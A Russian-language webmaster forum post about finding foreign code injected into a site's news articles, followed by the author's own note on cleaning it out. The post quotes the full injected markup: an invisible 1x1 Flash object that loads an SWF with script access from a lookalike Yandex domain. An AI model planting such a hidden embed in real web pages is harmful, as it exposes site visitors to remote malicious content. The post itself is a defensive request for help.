Тема: Появление постороннего кода в новостях
Добрый день! Редактируя ранее добавленные новости на сайте обнаружил в некоторых постах (в конце поста) появление вот такого кода:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?437160373"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?1024826446" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object>
Откуда это вообще берется? http://webmasters-yandex.ru перенаправляет на панель вэбмастера яндекса, сначала подумал взломали, но адреса то не ведут на какие-то левые сайты (если не считать яндекс левым сайтом)... Прошу помощи...
Добавлено: 11.09.2013 12:54
Извиняюсь что сам спрашиваю и сам отвечаю, но нашел решение, да действительно это вредоносный код, у кого та же проблема пройдите по ссылке указанной ранее, внесите изменения, ну а потом по старинке слейте базу и notepad'ом найти и заменить на пустое место... хотя может все уже в курсе этой дырки и я заслоуспочил, если что звиняйте...